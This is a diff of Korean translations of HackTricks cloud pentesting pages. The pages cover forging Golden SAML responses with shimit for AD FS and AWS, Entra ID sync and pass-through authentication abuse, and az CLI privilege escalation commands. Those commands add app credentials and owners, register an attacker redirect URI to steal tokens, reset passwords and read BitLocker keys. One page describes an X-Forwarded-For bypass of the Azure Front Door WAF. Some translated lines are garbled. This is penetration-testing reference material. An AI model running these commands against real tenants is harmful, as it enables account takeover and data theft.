[골든 티켓 공격](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/index.html#golden-ticket)과 유사하게, 사용자의 신원 및 권한을 인증하는 키(KRBTGT는 골든 티켓의 경우, 토큰 서명 개인 키는 골든 SAML의 경우)를 조작하여 **인증 객체**(TGT 또는 SAMLResponse)를 **위조**할 수 있습니다. 이를 통해 어떤 사용자로도 가장할 수 있으며, SP에 대한 무단 액세스를 부여받을 수 있습니다.
|
||||
[골든 티켓 공격](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/index.html#golden-ticket)과 유사하게, 사용자의 신원 및 권한을 인증하는 키(KRBTGT는 골든 티켓의 경우, 토큰 서명 개인 키는 골든 SAML의 경우)를 조작하여 **인증 객체**(TGT 또는 SAMLResponse)를 **위조**할 수 있습니다. 이를 통해 어떤 사용자로도 가장할 수 있으며, SP에 대한 무단 접근을 허용합니다.
|
||||
|
||||
골든 SAML은 몇 가지 장점을 제공합니다:
|
||||
|
||||
- **원격으로 생성**할 수 있으며, 해당 도메인이나 연합의 일부일 필요가 없습니다.
|
||||
- **2단계 인증(2FA)**가 활성화되어 있어도 여전히 효과적입니다.
|
||||
- **2단계 인증(2FA)**가 활성화되어 있어도 여전히 유효합니다.
|
||||
- 토큰 서명 **개인 키는 자동으로 갱신되지 않습니다**.
|
||||
- **사용자의 비밀번호 변경은** 이미 생성된 SAML을 무효화하지 않습니다.
|
||||
|
||||
@@ -69,7 +68,7 @@ https://book.hacktricks.wiki/en/pentesting-web/saml-attacks/index.html
|
||||
|
||||
[Active Directory Federation Services (AD FS)](<https://docs.microsoft.com/en-us/previous-versions/windows/server-2008/bb897402(v=msdn.10)>)는 신뢰할 수 있는 비즈니스 파트너 간의 **신원 정보의 안전한 교환**을 촉진하는 Microsoft 서비스입니다. 본질적으로 도메인 서비스가 연합 내의 다른 서비스 제공자와 사용자 신원을 공유할 수 있게 합니다.
|
||||
|
||||
AWS가 손상된 도메인을 신뢰하는 경우(연합 내에서), 이 취약점을 이용하여 AWS 환경에서 **모든 권한을 획득**할 수 있습니다. 이 공격은 SAML 객체에 서명하는 데 사용되는 **개인 키**가 필요하며, 이는 골든 티켓 공격에서 KRBTGT가 필요한 것과 유사합니다. AD FS 사용자 계정에 대한 액세스만으로도 이 개인 키를 얻을 수 있습니다.
|
||||
AWS가 손상된 도메인을 신뢰하는 경우(연합 내에서), 이 취약점을 이용하여 AWS 환경에서 **모든 권한을 획득**할 수 있습니다. 이 공격은 SAML 객체에 서명하는 데 사용되는 **개인 키**가 필요하며, 이는 골든 티켓 공격에서 KRBTGT가 필요한 것과 유사합니다. AD FS 사용자 계정에 대한 접근만으로도 이 개인 키를 얻을 수 있습니다.
|
||||
|
||||
골든 SAML 공격을 실행하기 위한 요구 사항은 다음과 같습니다:
|
||||
|
||||
@@ -83,7 +82,7 @@ AWS가 손상된 도메인을 신뢰하는 경우(연합 내에서), 이 취약
|
||||
|
||||
_굵게 표시된 항목만 필수입니다. 나머지는 원하는 대로 입력할 수 있습니다._
|
||||
|
||||
**개인 키**를 얻으려면 **AD FS 사용자 계정**에 대한 액세스가 필요합니다. 그 후, 개인 키는 [mimikatz](https://github.com/gentilkiwi/mimikatz)와 같은 도구를 사용하여 **개인 저장소에서 내보낼 수 있습니다**. 필요한 다른 정보를 수집하기 위해 Microsoft.Adfs.Powershell 스냅인을 다음과 같이 사용할 수 있으며, ADFS 사용자로 로그인되어 있어야 합니다:
|
||||
**개인 키**를 얻으려면 **AD FS 사용자 계정**에 대한 접근이 필요합니다. 그 후, 개인 키는 [mimikatz](https://github.com/gentilkiwi/mimikatz)와 같은 도구를 사용하여 **개인 저장소에서 내보낼 수 있습니다**. 필요한 다른 정보를 수집하기 위해 Microsoft.Adfs.Powershell 스냅인을 다음과 같이 사용할 수 있으며, ADFS 사용자로 로그인되어 있어야 합니다:
|
||||
```bash
|
||||
# From an "AD FS" session
|
||||
# After having exported the key with mimikatz
|
||||
@@ -97,7 +96,7 @@ _굵게 표시된 항목만 필수입니다. 나머지는 원하는 대로 입
|
||||
# Role Name
|
||||
(Get-ADFSRelyingPartyTrust).IssuanceTransformRule
|
||||
```
|
||||
모든 정보를 바탕으로, [**shimit**](https://github.com/cyberark/shimit)**를 사용하여 가장 원하는 사용자의 유효한 SAMLResponse를 잊어버릴 수 있습니다:**
|
||||
모든 정보를 바탕으로, [**shimit**](https://github.com/cyberark/shimit)**를 사용하여 가장하고자 하는 사용자로서 유효한 SAMLResponse를 잊어버리는 것이 가능합니다:**
|
||||
```bash
|
||||
# Apply session for AWS cli
|
||||
python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file -u domain\admin -n admin@domain.com -r ADFS-admin -r ADFS-monitor -id 123456789012
|
||||
@@ -112,7 +111,7 @@ python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -
|
||||
# Save SAMLResponse to file
|
||||
python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file -u domain\admin -n admin@domain.com -r ADFS-admin -r ADFS-monitor -id 123456789012 -o saml_response.xml
|
||||
```
|
||||
<figure><img src="../../../../images/image (128).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../../images/image (128).png" alt="https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps"><figcaption>https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps</figcaption></figure>
|
||||
|
||||
### 온프레미스 -> 클라우드
|
||||
```bash
|
||||
+29
@@ -0,0 +1,29 @@
|
||||
# 하이브리드 아이덴티티 잡다한 공격
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## Entra ID 사용자의 온프레미스 동기화 강제
|
||||
|
||||
[https://www.youtube.com/watch?v=JEIR5oGCwdg](https://www.youtube.com/watch?v=JEIR5oGCwdg)에서 언급된 바와 같이, 온프레미스 AD에서 AD 사용자의 **`ProxyAddress`** 값을 변경하여 Entra ID 관리자 사용자의 이메일을 추가하고 AD와 Entra ID의 UPN이 일치하도록 하는 것이 가능했습니다(다시 말해, 이것이 Entra ID입니다), 예를 들어 **`SMTP:admin@domain.onmicrosoft.com`**과 같이. 이렇게 하면 **이 사용자의 동기화를 강제**할 수 있습니다. Entra ID에서 온프레미스 AD로, 따라서 사용자의 비밀번호를 알고 있다면 Entra ID에서 관리자를 **접근할 수 있습니다.**
|
||||
|
||||
Entra ID에서 온프레미스 AD로 새 사용자를 동기화하기 위한 요구 사항은 다음과 같습니다:
|
||||
|
||||
- 온프레미스 AD에서 사용자의 속성을 제어할 수 있어야 합니다(또는 새 사용자를 생성할 수 있는 권한이 있어야 함)
|
||||
- Entra ID에서 온프레미스 AD로 동기화할 클라우드 전용 사용자를 알아야 합니다
|
||||
- **하드 매치**를 수행하기 위해 Entra ID 사용자에서 온프레미스 AD 사용자로 immutableID 속성을 변경할 수 있어야 할 수도 있습니다.
|
||||
|
||||
|
||||
> [!CAUTION]
|
||||
> Entra ID는 더 이상 Entra ID에서 온프레미스 AD로 관리자를 동기화할 수 없습니다.
|
||||
> 또한, 이것은 **MFA를 우회하지 않습니다**.
|
||||
|
||||
|
||||
|
||||
## 참조
|
||||
|
||||
- [https://www.youtube.com/watch?v=JEIR5oGCwdg](https://www.youtube.com/watch?v=JEIR5oGCwdg)
|
||||
- [https://activedirectorypro.com/sync-on-prem-ad-with-existing-azure-ad-users/](https://activedirectorypro.com/sync-on-prem-ad-with-existing-azure-ad-users/)
|
||||
- [https://www.orbid365.be/manually-match-on-premise-ad-user-to-existing-office365-user/](https://www.orbid365.be/manually-match-on-premise-ad-user-to-existing-office365-user/)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
+3
-3
@@ -4,9 +4,9 @@
|
||||
|
||||
## Basic Information
|
||||
|
||||
[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-pta) Microsoft Entra 패스스루 인증을 사용하면 사용자가 **온프레미스 및 클라우드 기반 애플리케이션에 동일한 비밀번호를 사용하여 로그인할 수 있습니다**. 이 기능은 사용자가 기억해야 할 비밀번호를 줄여 더 나은 경험을 제공하며, 사용자가 로그인 방법을 잊어버릴 가능성이 줄어들기 때문에 IT 헬프데스크 비용을 절감합니다. 사용자가 Microsoft Entra ID를 사용하여 로그인할 때, 이 기능은 사용자의 비밀번호를 온프레미스 Active Directory에 직접 검증합니다.
|
||||
[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-pta) Microsoft Entra 패스스루 인증을 사용하면 사용자가 **온프레미스 및 클라우드 기반 애플리케이션에 동일한 비밀번호를 사용하여 로그인할 수 있습니다**. 이 기능은 사용자가 기억해야 할 비밀번호가 하나 줄어들어 더 나은 경험을 제공하며, 사용자가 로그인 방법을 잊어버릴 가능성이 줄어들기 때문에 IT 헬프데스크 비용을 줄입니다. 사용자가 Microsoft Entra ID를 사용하여 로그인할 때, 이 기능은 사용자의 비밀번호를 온프레미스 Active Directory에 직접 검증합니다.
|
||||
|
||||
PTA에서는 **아이덴티티**가 **동기화**되지만 **비밀번호는 동기화되지 않습니다** (PHS와 다름).
|
||||
PTA에서는 **아이덴티티**는 **동기화**되지만 **비밀번호는 동기화되지 않습니다** (PHS와 다름).
|
||||
|
||||
인증은 온프레미스 AD에서 검증되며, 클라우드와의 통신은 **온프레미스 서버**에서 실행되는 **인증 에이전트**에 의해 이루어집니다 (온프레미스 DC에 있을 필요는 없습니다).
|
||||
|
||||
@@ -20,7 +20,7 @@ PTA에서는 **아이덴티티**가 **동기화**되지만 **비밀번호는 동
|
||||
4. **에이전트**가 **온프레미스 AD**에 대해 자격 증명을 **검증**하고, 긍정적인 응답이 있을 경우 **사용자의 로그인을 완료**하기 위해 Azure AD에 **응답**을 **전송**합니다.
|
||||
|
||||
> [!WARNING]
|
||||
> 공격자가 **PTA**를 **타협**하면 큐에서 모든 **자격 증명**을 ( **일반 텍스트**로) **볼 수 있습니다**.\
|
||||
> 공격자가 **PTA**를 **타협**하면 큐에서 모든 **자격 증명**을 ( **명확한 텍스트**로) **볼 수 있습니다**.\
|
||||
> 그는 또한 AzureAD에 대해 **모든 자격 증명**을 **검증**할 수 있습니다 (스켈레톤 키와 유사한 공격).
|
||||
|
||||
### Enumeration
|
||||
-30
@@ -1,30 +0,0 @@
|
||||
# Az- 새로운 사용자 동기화
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## 온프레미스에서 AzureAD로 상승하기 위한 AzureAD 사용자 동기화
|
||||
|
||||
AzureAD에서 온프레미스 AD로 새로운 사용자를 동기화하기 위해서는 다음과 같은 요구 사항이 있습니다:
|
||||
|
||||
- **AzureAD 사용자**는 프록시 주소( **메일박스** )가 필요합니다.
|
||||
- 라이센스는 필요하지 않습니다.
|
||||
- **이미 동기화되어 있지 않아야** 합니다.
|
||||
```bash
|
||||
Get-MsolUser -SerachString admintest | select displayname, lastdirsynctime, proxyaddresses, lastpasswordchangetimestamp | fl
|
||||
```
|
||||
AzureAD에서 이러한 사용자가 발견되면, **온프레미스 AD에서 액세스하기 위해** **SMTP 이메일의 proxyAddress**로 **새 계정을 생성**하기만 하면 됩니다.
|
||||
|
||||
자동으로 이 사용자는 **AzureAD에서 온프레미스 AD 사용자로 동기화**됩니다.
|
||||
|
||||
> [!CAUTION]
|
||||
> 이 공격을 수행하기 위해 **도메인 관리자**가 필요하지 않으며, **새 사용자를 생성**할 수 있는 권한만 필요합니다.
|
||||
>
|
||||
> 또한, 이 **MFA를 우회하지 않습니다**.
|
||||
>
|
||||
> 게다가, **관리자 계정에 대한 계정 동기화가 더 이상 불가능하다는 보고가 있었습니다**.
|
||||
|
||||
## References
|
||||
|
||||
- [https://www.youtube.com/watch?v=JEIR5oGCwdg](https://www.youtube.com/watch?v=JEIR5oGCwdg)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
+22
-14
@@ -48,11 +48,11 @@ az rest --method PATCH \
|
||||
]
|
||||
}'
|
||||
```
|
||||
## 애플리케이션
|
||||
## Applications
|
||||
|
||||
### `microsoft.directory/applications/credentials/update`
|
||||
|
||||
이 기능은 공격자가 기존 애플리케이션에 **자격 증명**(비밀번호 또는 인증서)을 추가할 수 있게 합니다. 애플리케이션에 권한이 있는 경우, 공격자는 해당 애플리케이션으로 인증하고 그 권한을 얻을 수 있습니다.
|
||||
이것은 공격자가 기존 애플리케이션에 **자격 증명**(비밀번호 또는 인증서)을 추가할 수 있게 해줍니다. 애플리케이션에 권한이 있는 경우, 공격자는 해당 애플리케이션으로 인증하고 그 권한을 얻을 수 있습니다.
|
||||
```bash
|
||||
# Generate a new password without overwritting old ones
|
||||
az ad app credential reset --id <appId> --append
|
||||
@@ -67,7 +67,7 @@ az ad app credential reset --id <appId> --append
|
||||
```
|
||||
### `microsoft.directory/applications/owners/update`
|
||||
|
||||
자신을 소유자로 추가함으로써 공격자는 자격 증명 및 권한을 포함하여 애플리케이션을 조작할 수 있습니다.
|
||||
자신을 소유자로 추가함으로써 공격자는 애플리케이션을 조작할 수 있으며, 여기에는 자격 증명 및 권한이 포함됩니다.
|
||||
```bash
|
||||
az ad app owner add --id <AppId> --owner-object-id <UserId>
|
||||
az ad app credential reset --id <appId> --append
|
||||
@@ -77,7 +77,7 @@ az ad app owner list --id <appId>
|
||||
```
|
||||
### `microsoft.directory/applications/allProperties/update`
|
||||
|
||||
공격자는 테넌트의 사용자들이 사용하는 애플리케이션에 리디렉션 URI를 추가한 다음, 새로운 리디렉션 URL을 사용하는 로그인 URL을 공유하여 그들의 토큰을 훔칠 수 있습니다. 사용자가 이미 애플리케이션에 로그인한 경우, 인증은 사용자가 아무것도 수락할 필요 없이 자동으로 진행됩니다.
|
||||
공격자는 테넌트의 사용자들이 사용하는 애플리케이션에 리디렉션 URI를 추가한 다음, 새로운 리디렉션 URL을 사용하는 로그인 URL을 공유하여 그들의 토큰을 훔칠 수 있습니다. 사용자가 이미 애플리케이션에 로그인한 경우, 인증은 사용자가 아무것도 수락할 필요 없이 자동으로 이루어집니다.
|
||||
|
||||
또한 애플리케이션이 요청하는 권한을 변경하여 더 많은 권한을 얻는 것도 가능하지만, 이 경우 사용자는 모든 권한을 요청하는 프롬프트를 다시 수락해야 합니다.
|
||||
```bash
|
||||
@@ -86,7 +86,7 @@ az ad app show --id ea693289-78f3-40c6-b775-feabd8bef32f --query "web.redirectUr
|
||||
# Add a new redirect URI (make sure to keep the configured ones)
|
||||
az ad app update --id <app-id> --web-redirect-uris "https://original.com/callback https://attack.com/callback"
|
||||
```
|
||||
## 서비스 주체
|
||||
## Service Principals
|
||||
|
||||
### `microsoft.directory/servicePrincipals/credentials/update`
|
||||
|
||||
@@ -96,7 +96,7 @@ az ad sp credential reset --id <sp-id> --append
|
||||
```
|
||||
> [!CAUTION]
|
||||
> 새로 생성된 비밀번호는 웹 콘솔에 나타나지 않으므로, 이는 서비스 주체에 대한 지속성을 유지하는 은밀한 방법이 될 수 있습니다.\
|
||||
> API를 통해 다음과 같이 찾을 수 있습니다: `az ad sp list --query '[?length(keyCredentials) > 0 || length(passwordCredentials) > 0].[displayName, appId, keyCredentials, passwordCredentials]' -o json`
|
||||
> API에서 다음과 같이 찾을 수 있습니다: `az ad sp list --query '[?length(keyCredentials) > 0 || length(passwordCredentials) > 0].[displayName, appId, keyCredentials, passwordCredentials]' -o json`
|
||||
|
||||
만약 `"code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid."`라는 오류가 발생하면, **SP의 passwordCredentials 속성을 수정할 수 없기 때문입니다**. 먼저 이를 잠금 해제해야 합니다. 이를 위해서는 다음을 실행할 수 있는 권한(`microsoft.directory/applications/allProperties/update`)이 필요합니다:
|
||||
```bash
|
||||
@@ -110,7 +110,7 @@ az ad sp credential reset --id <sp-id> --append
|
||||
```
|
||||
### `microsoft.directory/servicePrincipals/owners/update`
|
||||
|
||||
응용 프로그램과 유사하게, 이 권한은 서비스 주체에 더 많은 소유자를 추가할 수 있게 해줍니다. 서비스 주체의 소유권을 가지면 해당 자격 증명 및 권한을 제어할 수 있습니다.
|
||||
응용 프로그램과 유사하게, 이 권한은 서비스 주체에 더 많은 소유자를 추가할 수 있게 해줍니다. 서비스 주체를 소유하면 해당 자격 증명 및 권한을 제어할 수 있습니다.
|
||||
```bash
|
||||
# Add new owner
|
||||
spId="<spId>"
|
||||
@@ -132,11 +132,11 @@ az ad sp owner list --id <spId>
|
||||
|
||||
### `microsoft.directory/servicePrincipals/disable` 및 `enable`
|
||||
|
||||
이 권한은 서비스 주체를 비활성화하고 활성화할 수 있게 해줍니다. 공격자는 이 권한을 사용하여 권한 상승을 위해 접근할 수 있는 서비스 주체를 활성화할 수 있습니다.
|
||||
이 권한은 서비스 주체를 비활성화하고 활성화할 수 있게 해줍니다. 공격자는 이 권한을 사용하여 접근할 수 있는 서비스 주체를 활성화하여 권한을 상승시킬 수 있습니다.
|
||||
|
||||
이 기술을 사용하기 위해 공격자는 활성화된 서비스 주체를 장악하기 위해 더 많은 권한이 필요하다는 점에 유의하세요.
|
||||
```bash
|
||||
bashCopy code# Disable
|
||||
# Disable
|
||||
az ad sp update --id <ServicePrincipalId> --account-enabled false
|
||||
|
||||
# Enable
|
||||
@@ -164,13 +164,21 @@ az rest --method POST \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body "{\"id\": \"$credID\"}"
|
||||
```
|
||||
### 애플리케이션 권한 상승
|
||||
|
||||
**[이 게시물](https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/)에서 설명한 바와 같이** 기본 애플리케이션에서 **API 권한** 유형 **`Application`**이 할당된 경우를 찾는 것은 매우 일반적입니다. **`Application`** 유형의 API 권한(Entra ID 콘솔에서 호출됨)은 애플리케이션이 사용자 컨텍스트(사용자가 앱에 로그인하지 않고) 없이 API에 접근할 수 있음을 의미하며, 이를 허용하기 위해 Entra ID 역할이 필요하지 않습니다. 따라서 **모든 Entra ID 테넌트에서 높은 권한을 가진 애플리케이션을 찾는 것은 매우 일반적입니다**.
|
||||
|
||||
따라서 공격자가 **애플리케이션의 자격 증명(비밀 또는 인증서)을 업데이트할 수 있는 권한/역할**을 가지고 있다면, 공격자는 새로운 자격 증명을 생성하고 이를 사용하여 **애플리케이션으로 인증**할 수 있으며, 애플리케이션이 가진 모든 권한을 얻을 수 있습니다.
|
||||
|
||||
언급된 블로그는 일반적인 Microsoft 기본 애플리케이션의 **API 권한**을 공유하지만, 이 보고서 이후 Microsoft는 이 문제를 수정하였고 이제는 Microsoft 애플리케이션으로 로그인할 수 없습니다. 그러나 여전히 **악용될 수 있는 높은 권한을 가진 사용자 정의 애플리케이션을 찾는 것은 가능합니다**.
|
||||
|
||||
---
|
||||
|
||||
## 그룹
|
||||
|
||||
### `microsoft.directory/groups/allProperties/update`
|
||||
|
||||
이 권한은 사용자를 특권 그룹에 추가할 수 있게 하여 권한 상승을 초래합니다.
|
||||
이 권한은 사용자에게 특권 그룹에 추가할 수 있는 권한을 부여하여 권한 상승을 초래합니다.
|
||||
```bash
|
||||
az ad group member add --group <GroupName> --member-id <UserId>
|
||||
```
|
||||
@@ -187,13 +195,13 @@ az ad group member add --group <GroupName> --member-id <UserId>
|
||||
|
||||
### `microsoft.directory/groups/members/update`
|
||||
|
||||
이 권한은 그룹에 구성원을 추가할 수 있습니다. 공격자는 자신이나 악의적인 계정을 특권 그룹에 추가하여 상승된 액세스를 부여할 수 있습니다.
|
||||
이 권한은 그룹에 구성원을 추가할 수 있게 해줍니다. 공격자는 자신이나 악의적인 계정을 특권 그룹에 추가하여 상승된 접근 권한을 부여할 수 있습니다.
|
||||
```bash
|
||||
az ad group member add --group <GroupName> --member-id <UserId>
|
||||
```
|
||||
### `microsoft.directory/groups/dynamicMembershipRule/update`
|
||||
|
||||
이 권한은 동적 그룹에서 멤버십 규칙을 업데이트할 수 있게 해줍니다. 공격자는 동적 규칙을 수정하여 명시적인 추가 없이 자신을 권한이 있는 그룹에 포함시킬 수 있습니다.
|
||||
이 권한은 동적 그룹의 멤버십 규칙을 업데이트할 수 있게 해줍니다. 공격자는 동적 규칙을 수정하여 명시적인 추가 없이 자신을 권한이 있는 그룹에 포함시킬 수 있습니다.
|
||||
```bash
|
||||
groupId="<group-id>"
|
||||
az rest --method PATCH \
|
||||
@@ -218,7 +226,7 @@ dynamic-groups.md
|
||||
|
||||
### `microsoft.directory/users/password/update`
|
||||
|
||||
이 권한은 비관리자 사용자의 비밀번호를 재설정할 수 있게 하여 잠재적인 공격자가 다른 사용자에게 권한을 상승시킬 수 있게 합니다. 이 권한은 사용자 정의 역할에 할당할 수 없습니다.
|
||||
이 권한은 비관리자 사용자에게 비밀번호를 재설정할 수 있게 하여 잠재적인 공격자가 다른 사용자에게 권한을 상승시킬 수 있게 합니다. 이 권한은 사용자 정의 역할에 할당할 수 없습니다.
|
||||
```bash
|
||||
az ad user update --id <user-id> --password "kweoifuh.234"
|
||||
```
|
||||
@@ -289,7 +297,7 @@ az rest --method GET \
|
||||
|
||||
### `microsoft.directory/bitlockerKeys/key/read`
|
||||
|
||||
이 권한은 BitLocker 키에 접근할 수 있게 하며, 이는 공격자가 드라이브를 복호화하여 데이터 기밀성을 위협할 수 있습니다.
|
||||
이 권한은 BitLocker 키에 접근할 수 있게 하며, 이는 공격자가 드라이브를 복호화하여 데이터 기밀성을 위협할 수 있게 합니다.
|
||||
```bash
|
||||
# List recovery keys
|
||||
az rest --method GET \
|
||||
|
||||
@@ -0,0 +1,18 @@
|
||||
# Az - 파일 공유
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## RemoteAddr 우회
|
||||
|
||||
이 **[블로그 게시물](https://trustedsec.com/blog/azures-front-door-waf-wtf-ip-restriction-bypass)**은 Azure Front Door에서 일부 네트워크 제한을 구성할 때 **`RemoteAddr`** 또는 **`SocketAddr`**를 기반으로 필터링할 수 있는 방법을 설명합니다. 주요 차이점은 **`RemoteAddr`**가 실제로 **`X-Forwarded-For`** HTTP 헤더의 값을 사용하여 우회하기 매우 쉽다는 것입니다.
|
||||
|
||||
이 규칙을 우회하기 위해 자동화된 도구를 사용하여 **IP 주소를 무작위로 대입**하여 유효한 주소를 찾을 수 있습니다.
|
||||
|
||||
이는 [Microsoft 문서](https://learn.microsoft.com/en-us/azure/web-application-firewall/afds/waf-front-door-configure-ip-restriction)에서 언급되었습니다.
|
||||
|
||||
|
||||
## 참조
|
||||
|
||||
- [https://trustedsec.com/blog/azures-front-door-waf-wtf-ip-restriction-bypass](https://trustedsec.com/blog/azures-front-door-waf-wtf-ip-restriction-bypass)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
Reference in New Issue
Block a user